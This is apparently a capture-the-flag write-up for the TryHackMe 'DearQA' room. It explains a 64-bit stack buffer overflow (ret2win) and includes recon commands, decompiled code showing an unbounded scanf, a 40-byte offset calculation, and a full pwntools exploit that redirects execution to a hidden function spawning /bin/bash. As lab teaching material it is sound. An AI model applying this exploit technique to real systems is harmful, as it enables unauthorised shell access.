DearQA

3 min read
writeup by sinchallenge by DearQA TryHackMeEasyx86-64ELFsolved in ~30 min

Goal: a 64-bit stack buffer overflow — overwrite the saved return address to jump into a hidden vuln() that spawns a shell (ret2win).

Recon

The room drops a file ending in .DearQA. First, figure out what it actually is:

1file DearQA-1627223337406.DearQA     # ELF 64-bit executable
2strings DearQA-1627223337406.DearQA  # references /bin/bash and a "name" prompt

Two things stand out: it references /bin/bash, and there’s a name prompt. Make it executable and run it to see the behavior:

1chmod +x DearQA-1627223337406.DearQA
2./DearQA-1627223337406.DearQA        # asks for a name, echoes it back

A plain echo on the surface, but the /bin/bash string says there’s more underneath.

Ghidra

main() — the bug

1void main(void) {
2  char local_28[32];              // 32-byte buffer
3  ...
4  scanf("%s", local_28);          // %s has no length limit -> overflow
5}

Input goes into local_28, a fixed 32-byte buffer, read with scanf("%s", ...). %s has no bound, so anything over 32 bytes runs past the buffer into the saved RBP and the return address.

vuln() — the target

One function is defined but never called anywhere in normal flow:

1void vuln(void) {
2  puts("Brought to you by DearQA");
3  execve("/bin/bash", (char **)0x0, (char **)0x0);   // spawns a shell
4  return;
5}

vuln() sits at 0x400686. Being defined but never referenced is the tell — it’s there for us to redirect execution into with a return-address overwrite.

That address is fixed and non-randomized, so no PIE — I can hardcode it instead of leaking it. And since a plain overflow reaches the return address without the program bailing, there’s no stack canary guarding the frame.

Finding the offset

Confirm the overflow crashes it:

1python3 -c "print('A'*50)" | ./DearQA-1627223337406.DearQA   # 50 bytes crashes it

Layout from buffer to return address:

Region Size
local_28 buffer 32 bytes
Saved RBP 8 bytes
Return address ← target

So the offset is 32 + 8 = 40 bytes. Anything after those 40 bytes lands on the value popped into RIP when main() returns.

The exploit

 1from pwn import *                                 # pwntools API
 2
 3context.binary = './DearQA-1627223337406.DearQA'  # load the binary
 4context.arch = 'amd64'                            # 64-bit target
 5
 6p = process('./DearQA-1627223337406.DearQA')      # run it locally
 7p = remote('TARGET', 5700)                        # or connect to the remote service
 8
 9p.recvuntil(b"What's your name: ")                # wait for the name prompt
10
11payload  = b'A' * 40                              # 32-byte buffer + 8-byte saved RBP = 40 bytes padding
12payload += p64(0x400686)                          # overwrite return address with vuln()
13
14p.sendline(payload)                               # send the payload as our "name"
15p.interactive()                                   # drop into the shell

40 bytes of padding fill the buffer and saved RBP, then vuln()’s address is packed little-endian onto the return slot. When main() returns, execution jumps into vuln(), which calls execve("/bin/bash", ...).

Flag

1python3 exploit.py   # drops into a shell
2cat flag.txt

Room done.

Thoughts?